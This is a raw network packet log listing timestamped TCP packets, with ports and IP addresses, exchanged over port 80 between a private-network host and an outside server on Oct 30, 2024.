Oct 30, 2024 12:36:32.990849972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990883112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990895033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.990916967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990950108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.990967035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.990984917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991018057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991024017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.991050005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991084099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991096973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.991117954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991151094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991166115 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.991184950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991218090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991226912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.991251945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991285086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991295099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.991337061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991369963 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991380930 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.991400957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991434097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991441011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.991676092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991719007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.991725922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991760969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991794109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991803885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.991828918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991863012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991872072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.991897106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991930962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991946936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.991966009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.991997957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992019892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992029905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992063046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992074013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992096901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992131948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992141008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992165089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992198944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992204905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992230892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992264032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992275000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992297888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992331982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992341995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992366076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992400885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992407084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992589951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992631912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992644072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992676973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992711067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992721081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992743969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992779016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992791891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992811918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992846966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992857933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992881060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992913961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992924929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.992949009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992981911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.992993116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.993014097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993047953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993058920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.993082047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993114948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993128061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.993149042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993182898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993194103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.993216038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993251085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993277073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.993278980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993311882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993318081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.993583918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993634939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993635893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.993669033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993702888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993726015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.993736029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993768930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993786097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.993803978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993835926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993851900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.993868113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993901014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993921995 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.993933916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993967056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.993982077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994000912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994033098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994044065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994067907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994096041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994115114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994127989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994160891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994174004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994190931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994224072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994236946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994257927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994291067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994301081 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994570017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994604111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994618893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994638920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994672060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994689941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994721889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994755030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994786978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994801044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994820118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994841099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994851112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994884014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994899988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994919062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994951010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.994966030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.994986057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995018005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995039940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995050907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995084047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995100975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995117903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995151043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995177984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995183945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995218039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995230913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995268106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995326996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995340109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995374918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995410919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995424032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995445967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995480061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995492935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995512962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995546103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995565891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995579004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995611906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995631933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995646000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995677948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995696068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995708942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995742083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995768070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995774984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995822906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995834112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995860100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995893002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995907068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995929003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995961905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.995976925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.995996952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996032000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996046066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996067047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996115923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996115923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996156931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996191025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996212959 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996226072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996257067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996274948 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996290922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996324062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996339083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996357918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996392012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996412992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996428013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996460915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996474981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996495962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996529102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996552944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996562958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996594906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996623039 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996629953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996664047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996679068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996696949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996733904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996747017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996768951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996802092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996814013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996835947 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996870995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996901989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996906042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996938944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.996953011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.996973991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997008085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997020960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997041941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997082949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997092009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997131109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997164011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997195959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997210026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997241020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997247934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997282028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997314930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997329950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997349024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997395992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997402906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997437000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997468948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997483015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997504950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997556925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997556925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997608900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997642040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997658014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997675896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997709036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997715950 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997744083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997776985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997797012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997809887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997842073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997859001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.997876883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.997924089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.998261929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.999229908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999280930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999324083 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.999350071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999386072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999422073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999444008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.999454975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999492884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999495029 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:32.999937057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999950886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999960899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999973059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999984980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:32.999989986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.000029087 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.000093937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000104904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000113964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000123978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000134945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000138044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.000147104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000159025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000166893 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.000170946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000183105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000193119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000194073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.000204086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000215054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000225067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000227928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.000241041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.000263929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.000605106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000616074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000626087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000648975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.000668049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000679016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000688076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.000689030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000701904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.000711918 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.000742912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.001415968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.001426935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.001435995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.001446009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.001456022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.001460075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.001467943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.001478910 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.001487017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.001490116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.001502991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.001513004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.001513958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.001549006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.001564980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.003248930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003271103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003282070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003309011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.003407955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003420115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003428936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003446102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 30, 2024 12:36:33.003460884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.003472090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:36:33.003560066 CET	80	49744	185.215.113.16	192.168.2.4
